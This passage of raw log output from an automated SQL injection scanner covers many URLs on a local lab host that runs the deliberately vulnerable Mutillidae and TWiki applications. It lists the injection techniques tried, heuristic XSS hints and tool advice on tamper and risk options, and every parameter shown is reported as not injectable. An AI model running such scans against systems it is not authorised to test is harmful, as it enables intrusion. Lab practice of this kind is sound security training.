'AND boolean-based blind - WHERE or HAVING clause' [18:22:26] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:22:26] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:22:27] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:22:28] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:22:28] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:22:29] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:22:29] [INFO] testing 'MySQL inline queries' [18:22:29] [INFO] testing 'PostgreSQL inline queries' [18:22:29] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:22:29] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:22:30] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:22:30] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:22:31] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:22:31] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:22:32] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:22:33] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:22:33] [INFO] testing 'Oracle AND time-based blind' [18:22:34] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:22:35] [INFO] target URL appears to be UNION injectable with 1 columns [18:22:35] [WARNING] applying generic concatenation with double pipes ('||') [18:22:36] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. '--dbms=mysql') [18:22:43] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:22:51] [WARNING] GET parameter 'param2' is not injectable [18:22:51] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=documentation/how-to-access-Mutillidae-over-Virtual-Box-network.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=documentation/how-to-access-Mutillidae-over-Virtual-Box-network.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/dav/?C=N;O=A' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/dav/?C=S;O=D' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=notes.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=notes.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=text-file-viewer.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=text-file-viewer.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=user-poll.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=user-poll.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=set-background-color.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=set-background-color.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=source-viewer.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=source-viewer.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=framing.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=framing.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/dav/?C=D;O=D' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=register.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=register.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=view-someones-blog.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=view-someones-blog.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=captured-data.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=captured-data.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=installation.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=installation.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=html5-storage.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=html5-storage.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=dns-lookup.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=dns-lookup.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=show-log.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=show-log.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=login.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=user-info.php' [18:22:51] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=credits.php' URL 15: GET http://192.168.1.113:80/mutillidae/index.php?page=redirectandlog.php&forwardurl=http://www.irongeek.com/ do you want to test this URL? [Y/n/q] Y [18:22:51] [INFO] testing URL 'http://192.168.1.113:80/mutillidae/index.php?page=redirectandlog.php&forwardurl=http://www.irongeek.com/' [18:22:51] [INFO] testing connection to the target URL [18:22:51] [INFO] testing if the target URL is stable [18:22:52] [INFO] target URL is stable [18:22:52] [INFO] skipping previously processed GET parameter 'page' [18:22:52] [INFO] testing if GET parameter 'forwardurl' is dynamic [18:22:52] [INFO] confirming that GET parameter 'forwardurl' is dynamic [18:22:52] [INFO] GET parameter 'forwardurl' is dynamic [18:22:52] [WARNING] heuristic (basic) test shows that GET parameter 'forwardurl' might not be injectable [18:22:52] [INFO] heuristic (XSS) test shows that GET parameter 'forwardurl' might be vulnerable to XSS attacks [18:22:52] [INFO] testing for SQL injection on GET parameter 'forwardurl' [18:22:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:22:53] [WARNING] reflective value(s) found and filtering out [18:22:54] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:22:54] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:22:55] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:22:55] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:22:56] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:22:56] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:22:56] [INFO] testing 'MySQL inline queries' [18:22:56] [INFO] testing 'PostgreSQL inline queries' [18:22:56] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:22:56] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:22:57] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:22:57] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:22:58] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:22:58] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:22:59] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:22:59] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:22:59] [INFO] testing 'Oracle AND time-based blind' [18:23:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:23:00] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:23:06] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:23:12] [WARNING] GET parameter 'forwardurl' is not injectable [18:23:12] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [18:23:12] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=redirectandlog.php&forwardurl=http://www.owasp.org' [18:23:12] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=redirectandlog.php&forwardurl=http://www.issa-kentuckiana.org/' [18:23:12] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=redirectandlog.php&forwardurl=http://www.owasp.org/index.php/Louisville' [18:23:12] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=redirectandlog.php&forwardurl=http://www.pocodoy.com/blog/' [18:23:12] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=redirectandlog.php&forwardurl=http://www.room362.com/' [18:23:12] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=redirectandlog.php&forwardurl=http://www.isd-podcast.com/' [18:23:12] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=redirectandlog.php&forwardurl=http://pauldotcom.com/' [18:23:12] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=redirectandlog.php&forwardurl=http://www.php.net/' [18:23:12] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?page=redirectandlog.php&forwardurl=https://addons.mozilla.org/en-US/firefox/collections/jdruin/pr/' [18:23:12] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=change-log.htm' [18:23:12] [INFO] skipping 'http://192.168.1.113:80/dav/?C=M;O=D' [18:23:12] [INFO] skipping 'http://192.168.1.113:80/mutillidae/?page=register.php' [18:23:12] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=pen-test-tool-lookup.php' [18:23:12] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=usage-instructions.php' [18:23:12] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=documentation/vulnerabilities.php' [18:23:12] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=password-generator.php' [18:23:12] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=secret-administrative-pages.php' [18:23:12] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-security&page=capture-data.php' [18:23:12] [INFO] skipping 'http://192.168.1.113/twiki/bin/edit/Main/WebHome?t=1441456580' URL 16: GET http://192.168.1.113/twiki/bin/search/Main/SearchResult?scope=text®ex=on&search=Web Home[^A-Za-z] do you want to test this URL? [Y/n/q] Y [18:23:12] [INFO] testing URL 'http://192.168.1.113/twiki/bin/search/Main/SearchResult?scope=text®ex=on&search=Web Home[^A-Za-z]' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [18:23:12] [INFO] testing connection to the target URL [18:23:12] [INFO] testing if the target URL is stable [18:23:13] [INFO] target URL is stable [18:23:13] [INFO] skipping previously processed URI parameter '#1' [18:23:13] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [18:23:13] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/Main/WebHome?skin=print' [18:23:13] [INFO] skipping 'http://192.168.1.113/twiki/bin/rdiff/Main/WebHome?rev1=1.21&rev2=1.20' [18:23:13] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/Main/WebHome?rev=1.20' [18:23:13] [INFO] skipping 'http://192.168.1.113/twiki/bin/rdiff/Main/WebHome?rev1=1.20&rev2=1.19' [18:23:13] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/Main/WebHome?rev=1.19' [18:23:13] [INFO] skipping 'http://192.168.1.113/twiki/bin/oops/Main/WebHome?template=oopsmore¶m1=1.21¶m2=1.21' URL 17: GET http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiSite?t=1441456597 do you want to test this URL? [Y/n/q] Y [18:23:13] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiSite?t=1441456597' [18:23:13] [INFO] testing connection to the target URL [18:23:13] [INFO] testing if the target URL is stable [18:23:14] [INFO] target URL is stable [18:23:14] [INFO] testing if GET parameter 't' is dynamic [18:23:14] [WARNING] GET parameter 't' does not appear dynamic [18:23:14] [WARNING] heuristic (basic) test shows that GET parameter 't' might not be injectable [18:23:14] [INFO] testing for SQL injection on GET parameter 't' [18:23:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:23:16] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:23:16] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:23:17] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:23:17] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:23:18] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:23:18] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:23:18] [INFO] testing 'MySQL inline queries' [18:23:18] [INFO] testing 'PostgreSQL inline queries' [18:23:19] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:23:19] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:23:19] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:23:20] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:23:20] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:23:21] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:23:21] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:23:22] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:23:22] [INFO] testing 'Oracle AND time-based blind' [18:23:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:23:23] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:23:30] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:23:38] [WARNING] GET parameter 't' is not injectable [18:23:38] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 18: GET http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=TWiki Site[^A-Za-z] do you want to test this URL? [Y/n/q] Y [18:23:38] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=TWiki Site[^A-Za-z]' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [18:23:38] [INFO] testing connection to the target URL [18:23:38] [INFO] testing if the target URL is stable [18:23:39] [INFO] target URL is stable [18:23:39] [INFO] testing if URI parameter '#1' is dynamic [18:23:39] [INFO] confirming that URI parameter '#1*' is dynamic [18:23:39] [INFO] URI parameter '#1*' is dynamic [18:23:39] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [18:23:39] [INFO] testing for SQL injection on URI parameter '#1*' [18:23:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:23:39] [WARNING] reflective value(s) found and filtering out [18:23:41] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:23:42] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:23:42] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:23:43] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:23:43] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:23:44] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:23:44] [INFO] testing 'MySQL inline queries' [18:23:44] [INFO] testing 'PostgreSQL inline queries' [18:23:45] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:23:45] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:23:45] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:23:46] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:23:46] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:23:47] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:23:47] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:23:48] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:23:49] [INFO] testing 'Oracle AND time-based blind' [18:23:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:23:50] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:23:56] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:24:03] [WARNING] URI parameter '#1*' is not injectable [18:24:03] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 19: GET http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiSite?skin=print do you want to test this URL? [Y/n/q] Y [18:24:03] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiSite?skin=print' [18:24:03] [INFO] testing connection to the target URL [18:24:04] [INFO] testing if the target URL is stable [18:24:04] [INFO] target URL is stable [18:24:04] [INFO] testing if GET parameter 'skin' is dynamic [18:24:05] [INFO] confirming that GET parameter 'skin' is dynamic [18:24:05] [INFO] GET parameter 'skin' is dynamic [18:24:05] [INFO] heuristics detected web page charset 'ascii' [18:24:05] [WARNING] heuristic (basic) test shows that GET parameter 'skin' might not be injectable [18:24:05] [INFO] testing for SQL injection on GET parameter 'skin' [18:24:05] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:24:05] [WARNING] reflective value(s) found and filtering out [18:24:06] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:24:06] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:24:07] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:24:08] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:24:08] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:24:09] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:24:09] [INFO] testing 'MySQL inline queries' [18:24:09] [INFO] testing 'PostgreSQL inline queries' [18:24:09] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:24:09] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:24:10] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:24:10] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:24:11] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:24:11] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:24:12] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:24:13] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:24:13] [INFO] testing 'Oracle AND time-based blind' [18:24:14] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:24:14] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:24:21] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:24:28] [WARNING] GET parameter 'skin' is not injectable [18:24:28] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 20: GET http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiSite?rev1=1.22&rev2=1.21 do you want to test this URL? [Y/n/q] Y [18:24:28] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiSite?rev1=1.22&rev2=1.21' [18:24:28] [INFO] testing connection to the target URL [18:24:28] [INFO] testing if the target URL is stable [18:24:29] [INFO] target URL is stable [18:24:29] [INFO] testing if GET parameter 'rev1' is dynamic [18:24:29] [WARNING] GET parameter 'rev1' does not appear dynamic [18:24:29] [WARNING] heuristic (basic) test shows that GET parameter 'rev1' might not be injectable [18:24:29] [INFO] heuristic (XSS) test shows that GET parameter 'rev1' might be vulnerable to XSS attacks [18:24:29] [INFO] testing for SQL injection on GET parameter 'rev1' [18:24:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:24:29] [WARNING] reflective value(s) found and filtering out [18:24:31] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:24:31] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:24:32] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:24:32] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:24:33] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:24:34] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:24:34] [INFO] testing 'MySQL inline queries' [18:24:34] [INFO] testing 'PostgreSQL inline queries' [18:24:34] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:24:34] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:24:35] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:24:35] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:24:36] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:24:36] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:24:37] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:24:38] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:24:38] [INFO] testing 'Oracle AND time-based blind' [18:24:39] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:24:39] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:24:47] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:24:55] [WARNING] GET parameter 'rev1' is not injectable [18:24:55] [INFO] testing if GET parameter 'rev2' is dynamic [18:24:55] [INFO] confirming that GET parameter 'rev2' is dynamic [18:24:55] [INFO] GET parameter 'rev2' is dynamic [18:24:55] [WARNING] heuristic (basic) test shows that GET parameter 'rev2' might not be injectable [18:24:55] [INFO] heuristic (XSS) test shows that GET parameter 'rev2' might be vulnerable to XSS attacks [18:24:55] [INFO] testing for SQL injection on GET parameter 'rev2' [18:24:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:24:57] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:24:58] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:24:59] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:24:59] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:25:00] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:25:01] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:25:01] [INFO] testing 'MySQL inline queries' [18:25:02] [INFO] testing 'PostgreSQL inline queries' [18:25:02] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:25:02] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:25:03] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:25:04] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:25:04] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:25:05] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:25:05] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:25:06] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:25:07] [INFO] testing 'Oracle AND time-based blind' [18:25:07] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:25:15] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:25:24] [WARNING] GET parameter 'rev2' is not injectable [18:25:24] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 21: GET http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiSite?rev=1.21 do you want to test this URL? [Y/n/q] Y [18:25:24] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiSite?rev=1.21' [18:25:24] [INFO] testing connection to the target URL [18:25:24] [INFO] testing if the target URL is stable [18:25:25] [INFO] target URL is stable [18:25:25] [INFO] testing if GET parameter 'rev' is dynamic [18:25:25] [INFO] confirming that GET parameter 'rev' is dynamic [18:25:25] [INFO] GET parameter 'rev' is dynamic [18:25:25] [WARNING] heuristic (basic) test shows that GET parameter 'rev' might not be injectable [18:25:25] [INFO] heuristic (XSS) test shows that GET parameter 'rev' might be vulnerable to XSS attacks [18:25:25] [INFO] testing for SQL injection on GET parameter 'rev' [18:25:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:25:25] [WARNING] reflective value(s) found and filtering out [18:25:27] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:25:27] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:25:28] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:25:28] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:25:29] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:25:30] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:25:30] [INFO] testing 'MySQL inline queries' [18:25:30] [INFO] testing 'PostgreSQL inline queries' [18:25:30] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:25:30] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:25:31] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:25:31] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:25:32] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:25:32] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:25:33] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:25:34] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:25:34] [INFO] testing 'Oracle AND time-based blind' [18:25:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:25:35] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:25:42] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:25:50] [WARNING] GET parameter 'rev' is not injectable [18:25:50] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [18:25:50] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiSite?rev1=1.21&rev2=1.20' [18:25:50] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiSite?rev=1.20' URL 22: GET http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiSite?template=oopsmore¶m1=1.22¶m2=1.22 do you want to test this URL? [Y/n/q] Y [18:25:50] [INFO] testing URL 